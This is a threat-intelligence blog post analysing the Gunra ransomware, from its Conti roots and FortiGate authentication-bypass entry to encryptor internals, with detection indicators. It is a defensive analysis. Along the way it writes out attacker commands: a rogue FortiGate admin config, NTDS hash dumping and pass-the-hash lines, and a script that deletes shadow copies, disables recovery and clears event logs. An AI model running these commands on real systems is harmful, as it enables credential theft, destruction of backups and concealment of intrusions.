Blog

Gunra Ransomware - FortiGate exploit to data encryption


Shana Buhaisa P Associate Security Consultant

Gunra grew from a Conti-derived encryptor into a full RaaS operation

Gunra first appeared in April 2025, initially drawing attention because of similarities to Conti. Looking at the code and implementation patterns, it was clear that the operators had built on top of the older ransomware operation. This gave Gunra a familiar starting point. Its early activity focused mainly on Windows systems, using the usual combination of file encryption, data theft, and extortion.

The bigger change came in 2026, when Gunra moved toward a ransomware-as-a-service model. Affiliates became part of the operation, while initial access brokers and other participants could contribute access and other parts of an attack. This changed the structure of the operation and gave Gunra a way to scale attacks without having to handle every stage itself.

By August 2026, Gunra had become much more interesting than the ransomware sample researchers first encountered in 2025. Its development shows how a new ransomware operation can take existing code and techniques and build an affiliate driven model around them. The encryptor is only one part of the operation. The more important story is how Gunra developed from a Conti influenced ransomware family into a wider intrusion and extortion ecosystem.

The Gunra data leak site with victim listings and countdown timers

Figure 1 - The Gunra data leak site with victim listings and countdown timers.

Fifteen months, from leaked code to a full RaaS operation

Here is how Gunra changed over fifteen months:

Gunra ransomware timeline from 2025 to 2026

Figure 2 - Gunra ransomware timeline from 2025 to 2026.

Tracing Gunra's code back to Conti

When Conti's source code leaked in March 2022, it gave anyone with basic C++ knowledge a tested encryption engine. Gunra kept the parts of Conti that worked well and replaced the parts that were outdated or noisy.

What they kept

  • Multi-threaded file encryption engine: They kept Conti's thread manager. The encryptor checks how many CPU cores the machine has and spins up worker threads to match. It queues files through Windows I/O Completion Ports (IOCP) to chew through local drives and network shares fast.
  • Restart Manager integration: They kept the trick of calling Windows Restart Manager (rstrtmgr.dll). This lets the encryptor release locks on files that are open in Word, Outlook, or database engines, encrypting them without having to reboot the server.
  • Skipping system files: They kept Conti's skip-list. Paths like Windows, Program Files, and boot are ignored so the operating system doesn't crash before the payload finishes encrypting user data.
  • Wiping shadow copies: They run the same list of commands (vssadmin, wmic, and PowerShell) to wipe Volume Shadow Copies so victims cannot roll back files.

What they changed

  • Switched from AES to ChaCha: Conti used AES-256 in CBC mode. In the Windows variant, Gunra switched to ChaCha8 paired with RSA-4096. ChaCha runs much faster on virtual machines and older systems that don't have hardware AES acceleration.
  • Hidden API calls: Instead of listing APIs in the import table where security software can inspect them, Gunra looks them up in memory at runtime using PEB walking and MurmurHash2 hashes.
  • Added sandbox and debugger evasion: They added checks for debuggers, hypervisors (VMware, VirtualBox), timing delays, and sandbox usernames before doing any work.

What they removed

  • Conti's C2 beacons: They stripped out all original Conti network beacons and older SMB spread routines that every security tool already signatures.
  • Conti string artifacts: They cleaned out project paths, debug messages, and recognizable variable names.

What Gunra added that Conti never had

Conti operated between 2020 and 2022. Their playbook relied on email phishing, malware loaders like TrickBot and BazarLoader, Cobalt Strike beacons, and copying files across local Windows shares. Gunra threw out that playbook and built something tailored for today's enterprise setups:

  • Direct edge exploits instead of phishing: Conti depended on users clicking links or access brokers selling corporate email accounts. Gunra goes straight for the edge, using critical authentication bypass flaws on Fortinet firewalls (CVE-2024-55591 and CVE-2025-24472) to grab super-admin rights without needing any passwords or user interaction.
  • Backdoors that bring themselves back: If an admin spots their rogue account on the firewall and deletes it, Gunra uses a FortiOS automation stitch that watches audit logs. The moment the account disappears, the stitch automatically runs and creates it again.
  • Tampering with VDI login portals: Gunra modifies web scripts on remote access portals to accept their own static OTP codes alongside real tokens. Legitimate users still log in with their normal MFA, but the operators can log in using static codes anytime, even after password resets.
  • Custom tools to steal cloud data: Conti moved data with basic tools like Rclone or MegaSync over local SMB shares. Gunra built their own tools (main.exe and cloud_sync.exe) that take stolen Entra ID tokens and talk straight to the Microsoft Graph API. They pull files from SharePoint Online, OneDrive, and mailboxes directly from Microsoft's cloud servers, avoiding loud file-read spikes on local servers.
  • Fast stream ciphers: Switching to ChaCha lets their encryptor run fast on virtual machines and older processors without hardware AES-NI instructions.
  • Working with state-sponsored hackers: In Operation Double Barrel, South Korean authorities showed Gunra sharing the same exploits, servers, and SSH keys as North Korea's Lazarus Group. That kind of shared pipeline was never seen with Conti.

How Gunra carries out an attack

Phase 1: Getting inside

ATT&CK: T1190, T1133, T1136.001, T1098, T1556

Gunra's main way in is hitting exposed Fortinet appliances with two critical authentication bypass bugs:

  • CVE-2024-55591 (CVSS 9.8): Auth bypass in the FortiOS Node.js websocket module (/ws/v1). Sending crafted WebSocket upgrade requests grants super-admin rights without credentials.
  • CVE-2025-24472 (CVSS 9.8): Auth bypass using crafted CSF reverse proxy requests.

Once inside, they add an admin account named to look like a normal cloud sync job:

# Rogue admin account created on FortiGate
config system admin
    edit "forticloud-sync"
        set accprofile "super_admin"
        set vdom "root"
        set password [REDACTED]
    next
end

To keep that account alive, they set up a FortiOS automation stitch. If an administrator notices the forticloud-sync account and deletes it, the trigger fires and immediately recreates it. On remote access portals, they patch login scripts so their own static OTP codes work alongside real tokens. Password resets don't kick them out.

When appliances are already patched, operators buy access from initial access brokers or use stolen VPN credentials to get their foot in the door.

Phase 2: Grabbing passwords and hashes

ATT&CK: T1003.001, T1003.003, T1550.002, T1558.003

Gunra dumps the Active Directory database from the Domain Controller using Impacket's secretsdump.py:

# Dump NTDS password hashes from the Domain Controller
python3 secretsdump.py -just-dc DOMAIN/admin:[email protected]

# Test the harvested hash on other network hosts
crackmapexec smb 10.0.0.0/24 -u administrator -H :aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a54a05f384bb0b

This step leaves clear fingerprints: Sysmon Event ID 10 (LSASS memory access), directory replication calls coming from normal workstations instead of domain controllers, and Event 4662 on the Domain Controller.

Phase 3: Moving across the network

ATT&CK: T1021.002, T1047, T1569.002

They reuse harvested NTLM hashes with pass-the-hash. Instead of opening noisy command shells, they run commands through WMI and copy the encryptor binary to remote machines using admin shares:

# Remote WMI command execution using the NTLM hash
python3 wmiexec.py DOMAIN/[email protected] -hashes :e19ccf75ee54e06b06a54a05f384bb0b

# Copy the encryptor using administrative shares
python3 smbclient.py DOMAIN/[email protected] -hashes :e19ccf75ee54e06b06a54a05f384bb0b
# smb: \> use C$
# smb: \> cd Windows\Temp
# smb: \Windows\Temp\> put sample2.exe

Gunra affiliates almost always do this between 10 PM and 6 AM in the victim's local timezone. Working overnight makes sense for them: security teams usually have fewer analysts on duty, giving the attackers hours to move around before anyone notices.

Phase 4: Stealing data before encrypting

ATT&CK: T1560.001, T1567.002, T1114.002, T1530

Gunra sticks to one basic rule: steal everything first, encrypt second. If they encrypt too early, alarms go off, systems get isolated, and their chance to steal files is gone.

They grab Azure AD / Entra ID session tokens and query the Microsoft Graph API using two custom tools documented in CISA advisory AA26-222A:

  • main.exe (SHA-256: 2dc70a12d158d437e45a55b1d52f3d61c6082a1e1667573302ba3b62813e2751): Tool built to walk and pull SharePoint and M365 document libraries.
  • cloud_sync.exe (SHA-256: 834efe9b392c6c000877ea5613a079445affc16fe8af5997d68c55cafc95e5d1): Automated Graph API file downloader.
# Compress stolen files with password protection
7z a -p[REDACTED] -mhe=on exfil_data.7z ./staged_documents/

# Staged data gets uploaded to MEGA cloud accounts over HTTPS
Exfiltrated directory listing published on Gunra's leak site

Figure 3 - Stolen company directories published on Gunra's leak portal, exposing department files to force ransom payment.

Phase 5: Locking files and wiping backups

ATT&CK: T1486, T1490, T1489, T1070.001

When it's time to deploy, they stage the binary in NETLOGON on the Domain Controller and push it across domain machines using Group Policy tasks running as SYSTEM, or through PsExec scripts.

Right before starting encryption, they run this cleanup and destruction script:

:: Delete shadow copies using three methods
vssadmin.exe delete shadows /all /quiet
wmic shadowcopy delete /nointeractive
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }

:: Disable startup recovery
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

:: Delete Windows backup catalog
wbadmin delete catalog -quiet

:: Clear out event logs to hide tracks
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"
wevtutil cl Microsoft-Windows-PowerShell/Operational

They also go after backup systems directly. If their domain credentials can reach secondary hypervisors, NAS boxes, or Veeam and Commvault consoles, they log in and delete backup stores manually so the victim has nothing to restore from.

Inside the Windows encryptor

I executed the Windows encryptor (sample2.exe) in an isolated test environment to see exactly what it does. It is a compact 64-bit executable built in Visual Studio:

  • SHA-256: 854e5f77f788bbbe6e224195e115c749172cd12302afca370d4f9e3d53d005fd
  • MD5: 9a7c0adedc4c68760e49274700218507
  • File Size: 199,168 bytes (~194 KB)

What I observed during execution

Here is what happened when I ran it:

  1. Grabbing privileges: Calls AdjustTokenPrivileges to enable SeDebugPrivilege, SeTakeOwnershipPrivilege, SeBackupPrivilege, and SeRestorePrivilege so it can touch any file on disk.
  2. Checking the mutex: Checks for a global mutex (Global\{GUID}). If it finds one, it exits quietly to prevent double encryption.
  3. Evasion checks: Checks if a debugger is attached or if it is running inside an automated sandbox.
  4. Unpacking config: Decrypts its embedded config from .rdata to get the RSA-4096 public key, kill targets, and file extension lists.
  5. Killing processes and services: Looks for running software using CreateToolhelp32Snapshot and kills anything tied to databases or backups (sql.exe, oracle.exe, outlook.exe, veeam.exe, vmms.exe). Stops services like vss, sql, exchange, and backup agents.
  6. Unlocking files with Restart Manager: Calls rstrtmgr.dll to close file handles held by open applications without crashing them.
  7. Wiping shadow copies: Deletes VSS snapshots and disables boot repair.
  8. Scanning for shares: Scans local drives and mapped network shares using GetLogicalDriveStringsW and NetShareEnum.
  9. Multi-threaded encryption: Spins up worker threads matching CPU cores. Files are pushed to an I/O Completion Port and encrypted in parallel.
  10. Dropping the note: Drops R3ADM3.txt into every folder it touches.
  11. Wiping memory: Clears its key material from memory using SecureZeroMemory and cleans up.

I recorded the full execution in my test environment. You can see how it encrypts files in real time and which files are changed during the process in the Procmon window.

Video 1 - Windows encryptor execution in action: process termination, VSS deletion, and rapid file encryption in real time.

Hiding imports with runtime API hashing

When I checked the import table, the binary imports almost nothing directly: just KERNEL32.dll and USER32.dll. And USER32 is only needed for wsprintfW to format the ransom note. The static import table is full of harmless-looking calls like CreateFileW, GetProcAddress, and IsDebuggerPresent. Every sensitive Windows API it actually needs (for network discovery, privilege elevation, and file handle unlocking) gets resolved in memory at runtime using PEB walking and MurmurHash2 hashes. This keeps the binary looking clean to any tool that only checks the import table.

The encryption scheme and file footer

Looking inside the binary, I found the standard ChaCha constant strings embedded in .rdata: expand 32-byte k (the 256-bit sigma constant) and expand 16-byte k (the 128-bit tau constant), plus the RSA1 magic string for the RSA public key structure.

Each file gets its own unique 32-byte ChaCha key and 12-byte nonce generated via Windows CryptoAPI (CryptGenRandom). The key and nonce are encrypted with the hardcoded RSA-4096 public key and appended to the end of the file as a 512-byte footer. Because CryptGenRandom pulls strong OS entropy, there are no mathematical shortcuts to recover the files without the private key.

// How file encryption works (pseudocode)
function encrypt_file(file_path, rsa_public_key):
    chacha_key = CryptGenRandom(32)      // Fresh 256-bit key from OS
    nonce      = CryptGenRandom(12)      // 96-bit nonce
    
    plaintext  = read(file_path)
    ciphertext = ChaCha_encrypt(chacha_key, nonce, plaintext)
    wrapped_key = RSA4096_encrypt(rsa_public_key, chacha_key + nonce)
    
    write(file_path + ".ENCRT", ciphertext + wrapped_key)
    secure_delete(file_path)

Inspecting the encrypted files on disk, I found that Gunra appends a binary metadata footer to the end of every .ENCRT file so their decryptor can process it later. This footer contains the 512-byte RSA-wrapped block holding the ChaCha key and nonce, a 4-byte flag marking whether the file was fully or partially encrypted, an 8-byte field recording the original file size, and a magic marker that marks the file as encrypted.

For files larger than 10MB, it uses step-skip partial encryption: it encrypts a block at the start, jumps ahead, encrypts another block, and keeps skipping. This destroys large databases and virtual disk images in seconds without reading every single byte from disk.

Right alongside the encrypted files, the encryptor dropped its ransom note (R3ADM3.txt) into every folder:

Gunra's ransom note in windows variant

Figure 4 - Gunra Windows ransom note (R3ADM3.txt).

Gunra turned ransomware into an affiliate business

In January 2026, Gunra set up a formal affiliate model under the Golden Community brand. Their setup divides responsibilities between two tiers:

  • Affiliate structure: The core team provides custom payload builders, negotiation chats, and the leak site in exchange for 15% to 25% of each ransom. Affiliates keep the remaining 75% to 85% and handle getting into networks and deploying the encryptor.
  • Access brokers: Affiliates buy footholds from initial access brokers on dark web forums like Exploit[.]in and RAMP, or scan the internet for unpatched Fortinet devices.
  • Negotiation portal: Victims are sent to a Tor portal with a ticket-based helpdesk chat and countdown timers. For multi-million dollar ransoms, they give out qTox IDs for direct encrypted chat.
Gunra negotiation portal

Figure 5 - Gunra Tor negotiation portal interface.

The Lazarus Group connection

In July 2026, South Korean security agencies (NIS, NPA, KISA, FSI) and AhnLab ASEC released a joint report titled Operation Double Barrel. They found clear overlaps between Gunra ransomware attacks and North Korea's Lazarus Group.

Both groups used the exact same vulnerabilities in South Korean financial security software to get into networks. They used identical file names, command arguments, privilege tools, C2 servers, and SSH key fingerprints. Lazarus used the access for espionage, while Gunra used it for extortion. This shows Gunra wasn't just relying on typical cybercrime tricks, they had access to high-end exploit tools and infrastructure shared with state-backed actors.

Mapping Gunra's attack chain to MITRE ATT&CK

The mapping below lines up each stage of the chain against its MITRE ATT&CK techniques.

The Gunra MITRE ATT&CK Mapping

Figure 7 - The Gunra MITRE ATT&CK mapping. Click to enlarge.

What Gunra leaves behind

Here is what shows up in logs at each step:

1. Initial access and backdoors

  • FortiOS admin logs: A new super_admin account created through the API outside normal change windows.
  • FortiOS config alerts: A new automation stitch rule added to the system.
  • VPN and portal logs: Successful logins using OTP codes that don't show up in your corporate RADIUS or token logs.

2. Password and hash dumping

  • Sysmon Event ID 10: An unexpected program opening a handle to LSASS memory with read rights.
  • Network alerts: Directory replication requests (DRSUAPI) sent from a workstation IP instead of a Domain Controller.
  • Security Event 4662: Active Directory objects accessed for replication.

3. Moving across hosts

  • SMB alerts: The exact same binary dropped into ADMIN$ or C$\Windows\Temp\ across multiple machines in a few minutes.
  • WMI logs: wmic.exe process call create spawning unknown files.
  • Logon alerts: Unusually high numbers of NTLM logins (Event 4624 type 3) during the middle of the night (10 PM to 6 AM).

4. Cloud file theft

  • M365 Audit Log: Big spikes in FileDownloaded events from SharePoint and OneDrive.
  • Graph API monitoring: API token calls coming from unrecognized external IP addresses.
  • Egress traffic: Large outbound HTTPS uploads heading to cloud storage sites like MEGA.

5. Payload execution

  • Process command lines: vssadmin delete shadows, bcdedit /set recoveryenabled No, and wbadmin delete catalog running within seconds of each other.
  • Security log: Event ID 1102 showing the audit log was manually wiped.
  • Disk activity: Thousands of files getting renamed to .ENCRT with R3ADM3.txt dropped in every folder.

What stands out about Gunra

When I ran the sample in my test environment, what stood out was not anything unusual, but how cleanly all the different parts worked together. Gunra is built on leaked Conti code, it uses known Fortinet vulnerabilities for initial access, and its encryption scheme follows the same ChaCha + RSA pattern we have seen before. But that's exactly what makes it effective. They took proven tools and wrapped them in an affiliate model that lets them scale fast without reinventing anything.

What stands out is how they have put the pieces together. Skipping phishing entirely and going straight for edge devices, pulling data from Microsoft 365 using stolen tokens instead of touching local file servers, and wiping every recovery option before dropping the encryptor. Each step on its own is well documented, but chained together they make for a fast and hard-to-recover-from attack.

The Operation Double Barrel overlap is the part that should worry people. When a criminal ransomware group and a state-backed actor are sharing the same exploit tools, infrastructure, and access, the line between espionage and extortion gets very thin. Gunra is worth watching not because it is new, but because it shows how quickly a capable group can go from leaked source code to a full-scale operation with real-world victims.

References